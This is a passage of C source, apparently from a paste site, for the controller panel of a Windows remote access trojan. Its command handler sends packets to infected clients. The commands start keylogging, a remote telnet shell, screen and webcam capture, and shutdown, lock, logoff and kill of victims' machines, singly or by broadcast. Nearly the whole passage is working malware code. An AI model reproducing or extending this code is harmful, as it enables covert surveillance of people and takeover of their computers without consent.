  6935.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6936.             GID = atoi(Head.Data);
  6937.           if(KeyHwnd[atoi(Head.Data)] == NULL)
  6938.           {
  6939.             item.iSubItem=3;
  6940.             item.pszText=Window.IP;
  6941.             item.cchTextMax=255;
  6942.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6943.             strcpy(WINDOWIP, Window.IP);       
  6944.            
  6945.             strcpy(Buffer, "");
  6946.             sprintf(Buffer, "Keylogger for: %s", Window.IP);
  6947.             GetTime();
  6948.             SetLogs(Time, "Keylogger", Buffer , "Pass");
  6949.  
  6950.             CreateThread(NULL, 0,KeyLogWindow,(LPVOID)&Window, 0, &thread);
  6951.           }
  6952.           else
  6953.           {
  6954.             strcpy(Head.Data, "");     
  6955.           }
  6956.             break;
  6957.  
  6958.     case IDC_CMD:
  6959.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6960.             item.mask=LVIF_TEXT;
  6961.             item.iSubItem=0;
  6962.             item.pszText=Head.Data;
  6963.             item.cchTextMax=255;
  6964.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6965.             Head.ID = atoi (Head.Data);
  6966.            
  6967.             item.iSubItem=3;
  6968.             item.pszText=IPBUFFER;
  6969.             item.cchTextMax=255;
  6970.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6971.             while(IPBUFFER[i] != '/')
  6972.             {
  6973.             FINALIPBUFFER[i] = IPBUFFER[i];
  6974.             i++;
  6975.             }
  6976.             Head.PacketType = PACKET_REMOTE_SHELL_START;
  6977.             sprintf(Head.Data, "telnet %s", FINALIPBUFFER);
  6978.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  6979.             break;
  6980.  
  6981.     case IDC_SCREENCAPTURE:
  6982.            
  6983.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  6984.             item.mask=LVIF_TEXT;
  6985.             item.iSubItem=0;
  6986.             item.pszText=Head.Data;
  6987.             item.cchTextMax=255;
  6988.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6989.             Head.ID = atoi(Head.Data);
  6990.             strcpy(Window.ID, Head.Data);
  6991.             GID = atoi(Head.Data);
  6992.           if(Screen[atoi(Head.Data)] == NULL)
  6993.           {
  6994.             item.iSubItem=3;
  6995.             item.pszText=Window.IP;
  6996.             item.cchTextMax=255;
  6997.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  6998.             strcpy(WINDOWIP, Window.IP);
  6999.            
  7000.             strcpy(Buffer, "");
  7001.             sprintf(Buffer, "Screen Capture for: %s - ID: %d", Window.IP, GID);
  7002.             GetTime();
  7003.             SetLogs(Time, "Screen Capture", Buffer , "Pass");
  7004.  
  7005.             CreateThread(NULL, 0,ScreenWindow,(LPVOID)&Window, 0, &thread);
  7006.           }
  7007.           else
  7008.           {    
  7009.    
  7010.           }
  7011.             break;
  7012.     case IDC_WEBCAM:
  7013.            
  7014.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7015.             item.mask=LVIF_TEXT;
  7016.             item.iSubItem=0;
  7017.             item.pszText=Head.Data;
  7018.             item.cchTextMax=255;
  7019.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7020.             Head.ID = atoi(Head.Data);
  7021.             strcpy(Window.ID, Head.Data);
  7022.             GID = atoi(Head.Data);
  7023.           if(WebCam[atoi(Head.Data)] == NULL)
  7024.           {
  7025.             item.iSubItem=3;
  7026.             item.pszText=Window.IP;
  7027.             item.cchTextMax=255;
  7028.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7029.             strcpy(WINDOWIP, Window.IP);
  7030.            
  7031.             strcpy(Buffer, "");
  7032.             sprintf(Buffer, "WebCam Capture for: %s - ID: %d", Window.IP, GID);
  7033.             GetTime();
  7034.             SetLogs(Time, "WebCam Capture", Buffer , "Pass");
  7035.  
  7036.             CreateThread(NULL, 0,CamWindow,(LPVOID)&Window, 0, &thread);
  7037.           }
  7038.           else
  7039.           {    
  7040.    
  7041.           }
  7042.             break;
  7043.     case IDC_OPEN_CD:
  7044.    
  7045.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7046.             item.mask=LVIF_TEXT;
  7047.             item.iSubItem=0;
  7048.             item.pszText=Head.Data;
  7049.             item.cchTextMax=255;
  7050.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7051.             Head.ID = atoi(Head.Data);
  7052.             Head.PacketType = FUN_OPEN_CD;
  7053.  
  7054.             SentKb+=send(Client[Head.ID], (char*)&Head, sizeof(PACKETHEAD), 0);
  7055.         break;
  7056.     case IDC_CLOSE_CD:     
  7057.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7058.             item.mask=LVIF_TEXT;
  7059.             item.iSubItem=0;
  7060.             item.pszText=Head.Data;
  7061.             item.cchTextMax=255;
  7062.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7063.             Head.ID = atoi(Head.Data);
  7064.             Head.PacketType = FUN_CLOSE_CD;
  7065.  
  7066.             SentKb+=send(Client[Head.ID], (char*)&Head, sizeof(PACKETHEAD), 0);
  7067.         break;
  7068.     case IDC_MONITOR_OFF:      
  7069.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7070.             item.mask=LVIF_TEXT;
  7071.             item.iSubItem=0;
  7072.             item.pszText=Head.Data;
  7073.             item.cchTextMax=255;
  7074.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7075.             Head.ID = atoi(Head.Data);
  7076.             Head.PacketType = FUN_MONITOR_OFF;
  7077.  
  7078.             SentKb+=send(Client[Head.ID], (char*)&Head, sizeof(PACKETHEAD), 0);
  7079.  
  7080.         break;
  7081.     case IDC_MONITOR_ON:       
  7082.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7083.             item.mask=LVIF_TEXT;
  7084.             item.iSubItem=0;
  7085.             item.pszText=Head.Data;
  7086.             item.cchTextMax=255;
  7087.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7088.             Head.ID = atoi(Head.Data);
  7089.             Head.PacketType = FUN_MONITOR_ON;
  7090.  
  7091.             SentKb+=send(Client[Head.ID], (char*)&Head, sizeof(PACKETHEAD), 0);
  7092.         break;
  7093.     case IDC_INVERT_SCREEN_COLOUR:     
  7094.             item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7095.             item.mask=LVIF_TEXT;
  7096.             item.iSubItem=0;
  7097.             item.pszText=Head.Data;
  7098.             item.cchTextMax=255;
  7099.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7100.             Head.ID = atoi(Head.Data);
  7101.             Head.PacketType = FUN_INVERT_SCREEN_COLOUR;
  7102.  
  7103.             SentKb+=send(Client[atoi(Head.Data)], (char*)&Head, sizeof(PACKETHEAD), 0);
  7104.         break;
  7105.     case IDC_SHUTDOWN:
  7106.           item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7107.             item.mask=LVIF_TEXT;
  7108.             item.iSubItem=0;
  7109.             item.pszText=Head.Data;
  7110.             item.cchTextMax=255;
  7111.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7112.  
  7113.             Head.ID = atoi(Head.Data);
  7114.             Head.PacketType = PACKET_COMPUTER_SHUTDOWN;
  7115.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7116.  
  7117.             item.iSubItem=3;
  7118.             item.pszText=Window.IP;
  7119.             item.cchTextMax=255;
  7120.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7121.             strcpy(WINDOWIP, Window.IP);       
  7122.            
  7123.             strcpy(Buffer, "");
  7124.             sprintf(Buffer, "ShutDown: %s", Window.IP);
  7125.             GetTime();
  7126.             SetLogs(Time, "ShutDown", Buffer , "Pass");
  7127.  
  7128.         break;
  7129.  
  7130.     case IDC_LOCK:
  7131.           item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7132.             item.mask=LVIF_TEXT;
  7133.             item.iSubItem=0;
  7134.             item.pszText=Head.Data;
  7135.             item.cchTextMax=255;
  7136.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7137.  
  7138.             Head.ID = atoi(Head.Data);
  7139.             Head.PacketType = PACKET_COMPUTER_LOGOFF;
  7140.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7141.  
  7142.             item.iSubItem=3;
  7143.             item.pszText=Window.IP;
  7144.             item.cchTextMax=255;
  7145.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7146.             strcpy(WINDOWIP, Window.IP);
  7147.            
  7148.             strcpy(Buffer, "");
  7149.             sprintf(Buffer, "Locked: %s", Window.IP);
  7150.             GetTime();
  7151.             SetLogs(Time, "Locked", Buffer , "Pass");
  7152.         break;
  7153.  
  7154.     case IDC_LOGOFF:
  7155.           item.iItem=ListView_GetNextItem(GetDlgItem(Dlg,IDC_SERVERLIST),-1,LVNI_SELECTED);
  7156.             item.mask=LVIF_TEXT;
  7157.             item.iSubItem=0;
  7158.             item.pszText=Head.Data;
  7159.             item.cchTextMax=255;
  7160.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7161.            
  7162.             Head.ID = atoi(Head.Data); 
  7163.             Head.PacketType = PACKET_COMPUTER_LOCK;
  7164.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7165.  
  7166.             item.iSubItem=3;
  7167.             item.pszText=Window.IP;
  7168.             item.cchTextMax=255;
  7169.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7170.             strcpy(WINDOWIP, Window.IP);
  7171.            
  7172.             strcpy(Buffer, "");
  7173.             sprintf(Buffer, "Logged Off: %s", Window.IP);
  7174.             GetTime();
  7175.             SetLogs(Time, "Logged Off", Buffer , "Pass");
  7176.         break;
  7177.  
  7178.     case IDC_BROADCAST_SHUTDOWN:
  7179.         while (i <= ListView_GetItemCount(GetDlgItem(Dlg,IDC_SERVERLIST)))
  7180.         {
  7181.         if(ListView_GetCheckState(GetDlgItem(Dlg,IDC_SERVERLIST),i))
  7182.         {
  7183.         item.iItem=i;
  7184.             item.mask=LVIF_TEXT;
  7185.             item.iSubItem=0;
  7186.             item.pszText=Head.Data;
  7187.             item.cchTextMax=255;
  7188.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  7189.  
  7190.             Head.ID = atoi(Head.Data);
  7191.             Head.PacketType = PACKET_COMPUTER_SHUTDOWN;
  7192.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7193.  
  7194.  
  7195.             item.iSubItem=3;
  7196.             item.pszText=Window.IP;
  7197.             item.cchTextMax=255;
  7198.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7199.             strcpy(WINDOWIP, Window.IP);
  7200.            
  7201.             strcpy(Buffer, "");
  7202.             sprintf(Buffer, "ShutDown: %s", Window.IP);
  7203.             GetTime();
  7204.             SetLogs(Time, "ShutDown", Buffer , "Pass");
  7205.         }
  7206.         i++;
  7207.         }
  7208.         break;
  7209.  
  7210.     case IDC_BROADCAST_LOGOFF:
  7211.         i = 0;
  7212.         if(ListView_GetCheckState(GetDlgItem(Dlg,IDC_SERVERLIST),0))
  7213.         {
  7214.         //MessageBox(NULL, Head.Data, "Head.Data", MB_OK);
  7215.             item.iItem=i;
  7216.             item.mask=LVIF_TEXT;
  7217.             item.iSubItem=0;
  7218.             item.pszText=Head.Data;
  7219.             item.cchTextMax=255;
  7220.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  7221.  
  7222.             Head.ID = atoi(Head.Data);
  7223.             Head.PacketType = PACKET_COMPUTER_LOCK;
  7224.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7225.  
  7226.  
  7227.             item.iSubItem=3;
  7228.             item.pszText=Window.IP;
  7229.             item.cchTextMax=255;
  7230.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7231.             strcpy(WINDOWIP, Window.IP);
  7232.            
  7233.             strcpy(Buffer, "");
  7234.             sprintf(Buffer, "Logged Off: %s", Window.IP);
  7235.             GetTime();
  7236.             SetLogs(Time, "Log off", Buffer , "Pass");
  7237.         }
  7238.  
  7239.         while (i < ListView_GetItemCount(GetDlgItem(Dlg,IDC_SERVERLIST)))
  7240.         {
  7241.         if(ListView_GetCheckState(GetDlgItem(Dlg,IDC_SERVERLIST),i))
  7242.         {
  7243.             //MessageBox(NULL, Head.Data, "Head.Data", MB_OK);
  7244.             item.iItem=i;
  7245.             item.mask=LVIF_TEXT;
  7246.             item.iSubItem=0;
  7247.             item.pszText=Head.Data;
  7248.             item.cchTextMax=255;
  7249.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  7250.  
  7251.             Head.ID = atoi(Head.Data);
  7252.             Head.PacketType = PACKET_COMPUTER_LOCK;
  7253.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7254.  
  7255.  
  7256.             item.iSubItem=3;
  7257.             item.pszText=Window.IP;
  7258.             item.cchTextMax=255;
  7259.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7260.             strcpy(WINDOWIP, Window.IP);
  7261.            
  7262.             strcpy(Buffer, "");
  7263.             sprintf(Buffer, "Logged Off: %s", Window.IP);
  7264.             GetTime();
  7265.             SetLogs(Time, "Log off", Buffer , "Pass");
  7266.         }
  7267.         i++;
  7268.         }
  7269.         break;
  7270.  
  7271.     case IDC_BROADCAST_LOCK:
  7272.         while (i <= ListView_GetItemCount(GetDlgItem(Dlg,IDC_SERVERLIST)))
  7273.         {
  7274.         if(ListView_GetCheckState(GetDlgItem(Dlg,IDC_SERVERLIST),i))
  7275.         {
  7276.             item.iItem=i;
  7277.             item.mask=LVIF_TEXT;
  7278.             item.iSubItem=0;
  7279.             item.pszText=Head.Data;
  7280.             item.cchTextMax=255;
  7281.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  7282.  
  7283.             Head.ID = atoi(Head.Data);
  7284.             Head.PacketType = PACKET_COMPUTER_LOGOFF;
  7285.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7286.  
  7287.  
  7288.             item.iSubItem=3;
  7289.             item.pszText=Window.IP;
  7290.             item.cchTextMax=255;
  7291.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7292.             strcpy(WINDOWIP, Window.IP);
  7293.            
  7294.             strcpy(Buffer, "");
  7295.             sprintf(Buffer, "Locked: %s", Window.IP);
  7296.             GetTime();
  7297.             SetLogs(Time, "Lock", Buffer , "Pass");
  7298.         }
  7299.         i++;
  7300.         }
  7301.         break;
  7302.  
  7303.     case IDC_BROADCAST_KILL:
  7304.         while (i <= ListView_GetItemCount(GetDlgItem(Dlg,IDC_SERVERLIST)))
  7305.         {
  7306.  
  7307.         if(ListView_GetCheckState(GetDlgItem(Dlg,IDC_SERVERLIST),i))
  7308.         {
  7309.             item.iItem=i;
  7310.             item.mask=LVIF_TEXT;
  7311.             item.iSubItem=0;
  7312.             item.pszText=Head.Data;
  7313.             item.cchTextMax=255;
  7314.             ListView_GetItem(GetDlgItem(HwND,IDC_SERVERLIST),&item);
  7315.             Head.ID = atoi(Head.Data);
  7316.             Head.ID = atoi (Head.Data);
  7317.             Head.PacketType = PACKET_EXIT;
  7318.             SentKb+=send(Client[Head.ID],(char*)&Head,HeadSize,0);
  7319.  
  7320.             Sleep(1000);
  7321.  
  7322.             item.iSubItem=3;
  7323.             item.pszText=Window.IP;
  7324.             item.cchTextMax=255;
  7325.             ListView_GetItem(GetDlgItem(Dlg,IDC_SERVERLIST),&item);
  7326.             strcpy(WINDOWIP, Window.IP);
  7327.            
  7328.             strcpy(Buffer, "");
  7329.             sprintf(Buffer, "Killed: %s", Window.IP);
  7330.             GetTime();
  7331.             SetLogs(Time, "Kill", Buffer , "Pass");
  7332.         }
  7333.  
  7334.         i++;
  7335.         }
  7336.         break;
  7337.  
  7338.     case IDCANCEL:
  7339.            
  7340.             if(MessageBox(NULL, "Are you sure you want to Close?", "Closing...", MB_YESNO | MB_ICONQUESTION) == IDYES)
  7341.                 {
  7342.                    
  7343.                     CloseSocket(hStatus);
  7344.     CloseSocket(HwND);
  7345.      CloseSocket(hDlg);
  7346.                 ExitProcess(0);
  7347.                 EndDialog(Dlg,Select);
  7348.                 PostQuitMessage(0);
  7349.                 break;
  7350.                 }
  7351.                
  7352.                 else
  7353.                 {
  7354.                 break;
  7355.                 }
  7356.             break;
  7357.         }
  7358. ////////////////////////////////////////////////////////////////////////////////
  7359.     default:
  7360.         return FALSE;
  7361.     }
  7362. return TRUE;
  7363. }
Add Comment
Please, Sign In to add comment